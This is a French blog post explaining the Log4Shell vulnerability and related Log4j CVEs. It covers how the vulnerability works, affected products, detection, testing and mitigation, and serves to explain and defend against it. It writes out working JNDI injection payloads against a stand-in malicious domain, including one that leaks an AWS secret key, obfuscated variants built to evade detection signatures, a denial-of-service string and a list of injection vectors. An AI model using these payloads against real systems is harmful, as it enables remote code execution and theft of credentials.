Log4j ou Log4Shell, la javapocalypse (CVE-2021-44228 et les autres 😥)

⚠️ Le blog a été déplacé vers le site Patrowl, vous serez redirigé automatiquement dans 3 secondes, sinon cliquez sur ce lien : https://patrowl.io/log4j-ou-log4shell-la-javapocalypse-cve-2021-44228-et-les-autres-😥/
👍 Vous y retrouverez toutes les nouvelles publications

TL;DR : l’année se finit en beauté (ou en cauchemar) avec l’une des plus graves vulnérabilités de ces dernières décennies, permettant de prendre le contrôle à distance, sans authentification de tellement de choses que je vous renvoie vers le paragraphe « Qui est vulnérable ? ».

Je vous recommande l'écoute du Podcast NoLimitSecu sur le sujet 😉 : https://www.nolimitsecu.fr/log4shell/

maj 2022-02-08 : Log4J c'est sans fin... ajout des vulnérabilités sur Log4j 1.x (CVE-2022-23302, CVE-2022-23305, CVE-2022-23307)

maj 2022-01-07 : Publication de règles de détection par l'ANSSI

maj 2021-12-29 :

♬ Then put your little hand in mine ♬
♫ There ain't no hill or mountain we can't climb ♫
...
Debout les campeurs et haut les coeurs, n’oubliez pas vos bottes parce que ça caille aujourd’hui.

Vous êtes bien dans le film « un jour sans fin / Groundhog Day », vous vous réveillez et à nouveau, il y’a une vulnérabilité sur Log4J 😥 : exécution de code sur la version 2.17 (CVE-2021-44832) mais qui heureusement ne semble exploitable que dans des cas très spécifiques.

maj 2021-12-23 (car oui, j'ai pris des vacances 😉) : websocket, vx-underground, les 3 CVE, virtual patching, les premières exploitations selon Cisco et CloudFlare, MITRE ATT&CK

maj 2021-12-15 9h : version 2.16.0

maj 2021-12-14 11h : ajout d'une application volontairement vulnérable

maj 2021-12-14 9h : ajout d'un site listant les logiciels/éditeurs impactés et leurs statuts

Qu’est-ce que Log4j ?

Pour les deux du fond qui sont dans une cave depuis 20 ans ou qui ne sont pas informaticiens 😉 : Java est un langage de programmation haut niveau (comprendre : simplifiant la vie du développeur) et utilisé pour des applications web, pour des services web, des services « tout court », pour vos applications Android… en gros c’est utilisé partout.

La bonne pratique de tout bon développeur est de journaliser ce qui se passe, en particulier les erreurs et Java propose par défaut la librairie « java.util.logging » mais comme cette librairie semble trop simpliste, Log4j a été créé : https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541

Question One : Do you anticipate a need for any of the clever handlers that Log4j has that JUL does not have, such as the SMTPHandler, NTEventLogHandler, or any of the very convenient FileHandlers?
Question Two : Do you see yourself wanting to frequently switch the format of your logging output? Will you need an easy, flexible way to do so? In other words, do you need Log4j's PatternLayout?
Question Three : Do you anticipate a definite need for the ability to change complex logging configurations in your applications, after they are compiled and deployed in a production environment? Does your configuration sound something like, "Severe messages from this class get sent via e-mail to the support guy; severe messages from a subset of classes get logged to a syslog deamon on our server; warning messages from another subset of classes get logged to a file on network drive A; and then all messages from everywhere get logged to a file on network drive B"? And do you see yourself tweaking it every couple of days?
If you can answer yes to any of the above questions, go with Log4j. If you answer a definite no to all of them, JUL will be more than adequate and it's conveniently already included in the SDK.

Log4j est donc une librairie open source qui permet de journaliser (logger) ce que vous voulez dans le code de vos applications. Elle est maintenue par deux volontaires et en réalité ce n’est pas une mais « la » principale librairie utilisée dans les applications en Java :

https://github.com/search?q=%22import+org.apache.logging.log4j%22&type=code

https://grep.app/search?q=import%20org.apache.logging.log4j

Nous sommes exactement dans le cas de figure illustré par cette image humoristique :

D’où vient la vulnérabilité Log4Shell ?

Lorsqu’il journalise une chaîne de caractère, log4j essaie d’y trouver des variables pour les remplacer par leur valeur. Par exemple, une variable « ${username} » permettrait de récupérer le nom de l’utilisateur courant.

Log4j supporte en particulier les JNDI, les Java Naming and Directory Interface, qui sont des sortes d’interfaces permettant de récupérer le contenu d’une variable à travers le réseau.

JNDI permet plusieurs types d’accès au réseau : annuaire (LDAP), résolution de nom (DNS), objet de type CORBA, appels à des méthodes distance (RMI)…

Dans le cas de JNDI, la variable suivante permet de récupérer une classe Java par une requête d’annuaire LDAP : « ${jndi:ldap://ici-le-domaine-malveillant.com/exploit}»

Cette fonctionnalité date du temps où Java appartenant à Sun/Oracle. Cela aurait dû être supprimés mais des utilisateurs de Log4Js’y sont opposés.

Le problème est que JNDI peut être détourner pour exécuter du code, cela avait été présenté en 2016 à la conférence BlackHat : https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Si une application utilisant Log4j reçoit une chaine de caractère contenant une variable JNDI, alors elle sera interprétée par Log4j.

Si cette variable contient un lien vers un domaine contrôlé par un attaquant, il pourra répondre ce qu’il veut et en particulier une class Java qui sera exécutée 🤯.

Voici fonctionnalités JNDI vulnérables:

Log4j 2.14 contient une vulnérabilité référencée CVE-2021-44228, qui permet une exécution de code à distance avec une charge utile comme : ${jndi:ldap://site-malveillante:389/a}

[mise à jour] Le correctif 2.15 est incomplet et, dans certains cas non standard, permet une exécution de code à distance référencée CVE-2021-45046, avec une charge utile comme : ${jndi:ldap://127.0.0.1#site-malveillante:389/a}

[mise à jour] Le correctif 2.16 est incomplet et permet à un déni de service (DoS) référencé CVE-2021-45105, avec une charge utile comme : ${${::-${::-$.${::-j}}}}

[mise à jour] Le correctif 2.17 est incomplet et, si l'attaquant peut modifier la configuration en ajoutant un complément JDBC (JDBCAppender), permet une exécution de code à distance référencée CVE-2021-44832 😭 .

Log4j – Apache Log4j Security Vulnerabilities

Heureusement, cette vulnérabilité ne semble exploitable que si l’attaquant peut modifier la configuration du logger, ce qui me semble quand même peu probable dans des configurations classiques. Par contre, si un attaquant a accès :

• A votre dépôt type git, dans lequel vous stocker vos configurations, redéployées régulièrement
• A la machine d’un des développeurs ou DevOps (mais bon, il aura mieux à faire que modifier log4j2.xml 😉)

Alors il pourra modifier la configuration du logger et obtenir à nouveau une exécution de code.

Voici la publication du salarié de CheckMarx ayant découvert cette nouvelle vulnérabilité :  https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

Exemple de configuration avec "JDBCAppender" :

A noter que toutes les versions de Java semblent vulnérables : https://twitter.com/laughing_mantis/status/1470412026119798786?s=11

[mise à jour] Avec Log4j “quand y’en a plus, y’en a encore” et plusieurs vulnérabilités ont été publiées sur Log4j 1.x :

• CVE-2022-23302, exécution de code depuis le gestionnaire d'événements JMSSink, uniquement si l’attaquant peut modifier la configuration Log4j ce qui est vraiment très peu probable
• CVE-2022-23305, exécution de code depuis le module d’écriture de log en base JDBCAppender, uniquement si l’attaquant peut modifier la configuration Log4j ce qui est vraiment très peu probable
• CVE-2022-23307, dans l’interface (GUI) Chainsaw (inclu dans Log4j 1.2.x)

https://logging.apache.org/log4j/2.x/security.html
https://media.cert.europa.eu/static/SecurityAdvisories/2021/CERT-EU-SA2021-067.pdf

Chronologie de la découverte (CVE-2021-44228)

La chronologie exacte n’est pas connue pour l’instant mais des joueurs de Minecraft aurait découvert cette vulnérabilité et l’auraient utilisé pour attaquer les serveurs d’autres joueurs (uniquement pour la version de Minecraft en Java qui permet les mod).

Disposer d’une vulnérabilité permettant de compromettre tout internet et ne l’utiliser que pour tricher à Minecraft, quel gâchis 😉.

[mise à jour] Cisco et CloudFlare disposant d’une surface d'écoute d'internet très large, ils ont pu réaliser des études afin de rechercher des traces des premières exploitations de la vulnérabilité. Selon eux, les premières exploitations dateraient du 1er décembre 2021 pour déployer des mineurs de cryptomonnaie : https://therecord.media/log4shell-attacks-began-two-weeks-ago-cisco-and-cloudflare-say/ . C’est en soit un peu rassurant, cela permet de ne pas avoir à rechercher dans ses logs sur les 5 dernières années 😉.

L’exploitation de la vulnérabilité a été découverte, puis corrigée dans la librairie mais sans vraiment noter qu’il s’agissait d’un problème de sécurité.

Le 12 novembre 2021, un chercheur l’équipe sécurité d’Alibaba Cloud a officiellement reporté la correction comme étant une faille de sécurité et tout s’est emballé dans les jours qui ont suivi avec surtout la publication des premiers codes d’exploitation jeudi 9 décembre et vendredi 10 décembre.

Depuis, cette vulnérabilité est massivement exploitée dans la nature pour… déployer des mineurs de cryptomonnaie, quel gâchis 😉.

Il y’a depuis pas mal d’exploitation qui visent à exfiltrer des données ou tout simplement les variables d’environnement des cibles qui parfois, contiennent des secrets comme sur les instances AWS EC2.

[mise à jour] Les attaquant ont commencé à déployer des outils de prise de contrôle, des malware bancaires (Dridex), des vers type Mirai… Vous pourrez trouver une bonne partie des malwares (au sens large) utilisés par les attaquants chez VX-Underground : https://samples.vx-underground.org/samples/Families/Log4J%20Malware/

Voici un exemple du code d’exploitation pour sortir les variables d’environnement : « ${jndi:ldap://ici-le-domaine-malveillant.com/exploit/${env:AWS_SECRET_ACCESS_KEY}}»

Voici une liste régulièrement mise à jour, d’adresses IP tentant d’exploiter la vulnérabilité :  https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

Vous pouvez bloquer sans trop de craintes ces IP (même si cette liste reste publiée dans trop de contrôle 😅).

CVSSv3 = 10.0 / 10.0

La note technique CVSSv3 de la vulnérabilité est de 10.0/10.0, c’est une exécution de code Java à distance et elle a le niveau de criticité le plus élevé.

Il est surtout très facile de la déclencher soit directement, soit indirectement.

Comme la vulnérabilité est déclenchée lors de la réception de la chaîne de caractères à journaliser, si une information à journaliser (une ligne de log) est envoyée à un concentrateur de log utilisant Log4j, vous avez la capacité d’exécuter du code sur cet actif, même s’il n’est pas directement joignable ou au fin fond d’une DMZ. C’est pour cela que je donnerais plutôt 11.0/10.0 à cette vulnérabilité 😉.

Vous avez un SIEM hors-ligne basé sur ELK ou Splunk qui centralise vos logs ? Vous pouvez vous le faire compromettre.

Qui est vulnérable ?

Une quantité folle d’applications, de services, d’entreprises… sont vulnérables, tant Java est utilisé partout et tant cette vulnérabilité est exploitable de milles façons :

• Des tas de services web en Java qui vont journaliser certains de vos entêtes comme « User-Agent » https://twitter.com/u039b/status/1469375014046687239?s=11
• Apple iCloud, vous nommez un WiFi avec l’exploit, un iPhone voit votre WiFi et « bim » (car Apple renvoie tous les noms des points d’accès WiFi que vous voyez à iCloud)
• AWS et en particulier AWS S3 https://twitter.com/russss/status/1469434078554382353?s=11
• Azure
• CloudFlare
• VMWare vCenter depuis l’entête « X-Forwarded-For » (à noter que le correctif actuellement distribué pour la version 6.x ne marche pas)
• VMWare, énormément de produits comme Horizon, Carbon Black EDR Server… https://www.vmware.com/security/advisories/VMSA-2021-0028.html
• Les backend d’éditeurs d’EDR comme Carbon Black, CrowdStrike… laissant potentiellement accès aux données des clients
• Cisco, des tas de produits dont AnyConnect Secure Mobility Client, Firepower Management Center (ex-SourceFire),  IOS et IOS XE Software, Nexus, SD-WAN vEdge… https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
• Twitter par un simple tweet ? 😉
• ElasticSearch, donc vos SIEM hors-ligne aussi
• Logstash sans surprise
• Splunk donc vos SIEM hors-ligne aussi
• Apache Solr
• Apache Druid
• Apache Flink
• Apache Struts2
• Redis la base de données clef/valeur
• Github
• McAfee
• SolarWinds, pour changer…
• Steam
• L’outil de la NSA : Ghidra, ce qui laisse à penser qu'ils n'avaient pas connaissance de la vulnérabilité
• LinkedIn
• SonicWall
• Kafka
• Puppet
• Le proxy Cloud de Zscaler
• Apache JAMES SMTP… dont je n’ai jamais entendu parler 🤣

Si vous souhaitez en savoir plus sur les logiciels commerciaux ou open source vulnérable, en voici plusieurs listes mais asseyez-vous bien avant de cliquer et inspirer bien profondément:

• Une assez large maintenue par SwitHak  : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
• Un autre git avec les status (vulnérable ou non, corrigé, correctif disponible...) mis à jour régulièrement : https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
• Un troisième avec les status : https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/

En plus de tous ces logiciels, vous pouvez exploiter la vulnérabilité en utilisant une simple requête HTTP sur un site ou une application vulnérable en mettant la charge utile dans les entêtes classiques comme « Referer » ou « User-Agent » ou « X-Forwarder-For ».

Vous pouvez aussi exploiter la vulnérabilité en envoyant un simple mail contenant le code d’exploitation dans le titre : https://twitter.com/xssfox/status/1469516383692091393?s=11

Vous pouvez également exploiter la vulnérabilité indirectement en positionnant la charge utile dans :

• Le fichier robots.txt à la racine de votre site
• Le fichier security.txt à la racine de votre site
• Vos enregistrements DNS de type « TXT »
• Certains entêtes des mails que vous envoyez
• L’adresse mail de l’expéditeur de vos mails car sachez que «  bisous+(${jndi:ldap://ici-le-domaine-malveillant.com/exploit})@votre-domaine.com » est une adresse mail valide au sens de la RFC 822
• L’identifiant que vous utilisez pour vous authentifier sur un site
• Le mot de passe que vous utilisez pour vous authentifier sur un site
• Les champs de vos certificats SSL/TLS
• Le nom du votre réseau WiFi car iPhone, l’appli Instagram… envoient les noms des réseaux WiFi (BSSID) environnant à l’éditeur
• Le nom de votre appareil détectable en Bluetooth
• Les métadonnées de vos images
• Les métadonnées des champs EXIF de vos images
• Les métadonnées de vos fichiers type PDF, Docx, Excel…
• Soyez créatif 😉

WebSocket

Les navigateurs modernes supportent la fonctionnalité de WebSocket, c’est-à-dire qu’il est possible d’ouvrir une connexion HTTP depuis une page web avec du code Javascript et donc de faire des requêtes web.

Cela parait évident une fois qu’on le sait 😉 mais la vulnérabilité Log4J est exploitable depuis un navigateur à partir d’une WebSocket. Si un utilisateur d’une entreprise navigue sur un site web malveillant, depuis le système d’information de cette même entreprise (ou en VPN), alors ce site web peut légitimement demander au navigateur de scanner le réseau interne (il y’a pleins d’exemples sur internet) et de tenter d’exploiter la vulnérabilité sur les services internes joignable. C’est en fait ultra simple, ultra évident quand on le sait et… terriblement efficace 😞.

Cette méthode peut être exploitée par le simple envoie d’un mail contenant un lien malveillant.

https://www.zdnet.com/article/security-firm-blumira-discovers-major-new-log4j-attack-vector/

Détecter la présence d’une exploitation

Détecter

Florian Roth a mise en ligne un outil permettant de rechercher la présence de trace d’exploitation, même dans les archives .gz : https://github.com/Neo23x0/log4shell-detector

A noter que pour VMWare, le répertoire à scanner est « /storage/log/vmware/ »

Vous lancez l’outil à la racine de vos serveurs et c’est tout :

Sinon, vous pouvez juste faire des recherches simples dans vos logs.

Le plus simple est de déjà détecter la présence de  « ${ » dans une chaîne de caractères mais avec un risque de faux positifs. Sinon, il faut aussi chercher les autres caractères non obfuscables comme « : », « / », « . » et « } ».

Voici une expression régulière peu performante qui fera le boulot de détection mais génèrera pas mal de faux positifs, acceptables temporairement vu la situation : « \${.*\:.*\/.*\/.*} »

[mise à jour] L'ANSSI vient à nouveau de mettre à jour son bulletin d'alerte avec des règles de détection pour l'IDS Suricata, dans un PDF avec toutes les explications et dans un fichier TXT avec uniquement les règles, bravo l'ANSSI 🙏.

MITRE ATT&CK

Si vous souhaitez référencer l’exploitation de cette vulnérabilité avec les identifiants du framework ATT&CK, les voici :

• Accès initial par l’exploitation de la vulnérabilité sur un composant exposé à Internet -> T1190 https://attack.mitre.org/techniques/T1190/
• Utilisation en post-exploitation pour un mouvement latéral -> T1210 https://attack.mitre.org/techniques/T1210/

Méthode de contournement des signatures

Du fait des différentes possibilités d’écritures des chemins JNDI et de leur interprétation par Java, il est possible de facilement obfusquer l’exploit et voici quelques exemples :

${jndi:dns://ici-le-domaine-malveillant.com/exploit }
${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit
${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-le-domaine-malveillant.com/exploit}

Voici un tweet avec encore plus d’obfuscation : https://twitter.com/wugeej/status/1469982901412728832?t=gom5LhC8ClE275b46SYgNA

Tester la présence de la vulnérabilité

Twitter regorge d’outils et de PoC pour tester la présence de la vulnérabilité. Il est à noter que vulnérabilité peut s’activer des heures après vos tests, nous l'avons eu chez plusieurs clients.  C'est un comportement commun mais encore inexpliqué : https://twitter.com/mubix/status/1470747203811651592?s=21

Nuclei

Le test a été intégré à Nuclei et repose sur un appel externe à interactsh.com . Ce n’est pas d’une discrétion folle d’autant que les hébergeurs de interactsh sauront que vous êtes vulnérables mais au moins, cela fonctionne :

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml

Burp

Voici un plugin pour Burp permettant de détecter une cible vulnérable : https://github.com/whwlsfb/Log4j2Scan

Il utilise une dizaine de techniques d’obfuscation et test nombreux entêtes (user-agent, référer, x-forwarded-for, x-real-ip…)

Patrowl

Bon, je suis obligé de faire un peu d’auto-promo car le contrôle est intégré à Patrowl 😉, donc si vous avez Patrowl, vous êtes tranquille.

Manuellement

Vous pouvez aussi le faire vous-même et créer un jeton (token) de test DNS chez vous ou avec https://canarytokens.org/generate#

Copiez le jeton (token) généré :

Construisez votre charge utile, ici : ${jndi:ldap://v4a2rv8dr3w93v6rbiuirsj45.canarytokens.com/a}

Utilisez cette charge utile pour tester votre application dans un entête « user-agent », dans un paramètre de recherche….

⚠️️️⚠️️️⚠️️️

Si vous testez la vulnérabilité avec des services externes comme interact.sh, interactsh.com, canarytokens.org ou dnslog.cn, faites quand même attention, vous ne savez pas qui est derrière ces services et ce qu’ils feront des informations que vous leur donnez 😉. L’idéal est de monter son propre serveur DNS avec un outil comme DnsChef https://github.com/iphelix/dnschef      pour voir et répondre aux requêtes DNS ou avec l’outil interactsh https://github.com/projectdiscovery/interactsh

Application volontairement vulnérable

Si vous souhaitez tester vos charges utiles (payload), voici une application vulnérable développée pour l’occasion : https://github.com/leonjza/log4jpwn

Que faire ?

C’est très compliqué car la vulnérabilité peut se trouver à tellement d’endroits… pour faire simple : c’est la merde et vous risquez d’en avoir pour des jours, voire des semaines, d’autant que cette vulnérabilité arrive en pleines fêtes de Noël, en plein pendant vos gels de fin d’années (vos « freeze » annuels de toute modification sur vos infrastructures).

Il faut être capable de cartographier son système d’information au sens large en identifiant tous les éditeurs afin de savoir s’ils sont vulnérables ainsi que tous vos logiciels, services, applications… en Java qui pourraient être vulnérables.

Pour les éditeurs, il faut suivre les bulletins d’alertes, utiliser le git de SwitHak cité plus haut et suivre l’actualité sécurité car cela risque de bouger très vite dans les jours qui viennent.

Ensuite, il faut être capable de savoir si vos logiciels utilisent Log4j dans les versions vulnérables (cf. bulletin de l’ANSSI), ce qui n’est pas trivial. Suivant la version de Java, la version de Log4j… il vous faudra décider de mettre à jour ou d’appliquer un contournement.

En parallèle, il est important de continuer à rechercher les exploitations potentielles de la vulnérabilité partout.

Le bulletin de l’ANSSI : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

Corriger

Le mieux est de mettre à jour avec la dernière version de log4j car les versions intermédiaire sont vulnérables à un déni de service ou une exécution de code à distance.

En théorie il est possible de rester en 2.16.0 car ce n’est qu’un déni de service, mais je recommande plutôt de peser le pour et le contre en se posant cette question : est-il plus facile/rapide pour moi de qualifier le besoin de cette nouvelle mise à jour vs le temps et la difficulté à mettre à jour.

Si la mise à jour se fait en 1 clic ou en une seule commande mettant à jour 2000 serveurs, sans impact de disponibilité de la plateforme, n’hésitez pas à passer en 2.17.1 😉.

S’il faut redémarrer des hyperviseurs avec un arrêt complet de vos services pendant 2 heures, restez en 2.16.0 pour l’instant.

Contournements

Il est possible de mettre en place une variable désactivant les résolutions de nom, limitant l’exploitation de la vulnérabilité mais ne la corrige pas :

• Soit en modifiant la ligne de commande de l’appel au logiciel : # java ... ‐Dlog4j2.formatMsgNoLookups=True ... -jar mon_appli_toute_moisie.jar
• Soit en mettant en place une variable d’environnement dans le fichier .profile du compte exécutant le service : « export LOG4J_FORMAT_MSG_NO_LOOKUPS=true»
• Pour les applications en Docker, dans le fichier « Dockerfile », il faut ajouter « ENV LOG4J_FORMAT_MSG_NO_LOOKUPS=true »
• Ou dans le fichier « Dockerfile», au niveau de la ligne de commande, il faut ajouter « CMD ["java", "-Dlog4j.formatMsgNoLookups=true", "-jar", "..."] »
• Ou dans le fichier « docker-compose.yml », il faut ajouter:

web:
environment:
- LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Plus de détails ici : https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Virtual patching

Plusieurs entreprises, dont AWS, proposent des solutions permettant de corriger la vulnérabilité juste en redémarrant le service en lui adjoignant une bibliothèque complémentaire chargée de corriger le problème en mémoire.

En voici trois :

• https://github.com/corretto/hotpatch-for-apache-log4j2       (équipe d’AWS)
• https://github.com/nccgroup/log4j-jndi-be-gone
• https://blog.fox-it.com/2021/12/14/log4j-jndi-be-gone-a-simple-mitigation-for-cve-2021-44228/

Avec la phrase ci-dessous, le dernier article permet de comprendre que des logiciels payant avec DRM embarquent des logiciels libres 🤦‍♂️ :

<<The benefit […] negate the vulnerability [...] so long as it isn’t obfuscated (e.g. with proguard), in which canse you may not be in a good position to update it anyway. >>

Cloisonner

Cela fait partie des bonnes pratiques : il faut filtrer strictement les flux, en particulier sortants afin d’empêcher un serveur vulnérable d’aller chercher un code d’exploitation quelque part ou de dialoguer avec un serveur de command and control (C2).

Bon courage à tous !

Au moment où j’écris ces lignes, Guillaume Poupard, le directeur de l’ANSSI, vient de publier :

<< 🚨Une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. [...]
Cette vulnérabilité permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification.
Des preuves de concept ont déjà été publiées et des codes d'exploitation sont susceptibles d'être rapidement développés.
Les détails dans l’alerte CERTFR-2021-ALE-022👇
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/>>

https://www.linkedin.com/posts/guillaume-poupard-3604531b5_objet-vuln%C3%A9rabilit%C3%A9-dans-apache-log4j-activity-6875847639280234496-2mcz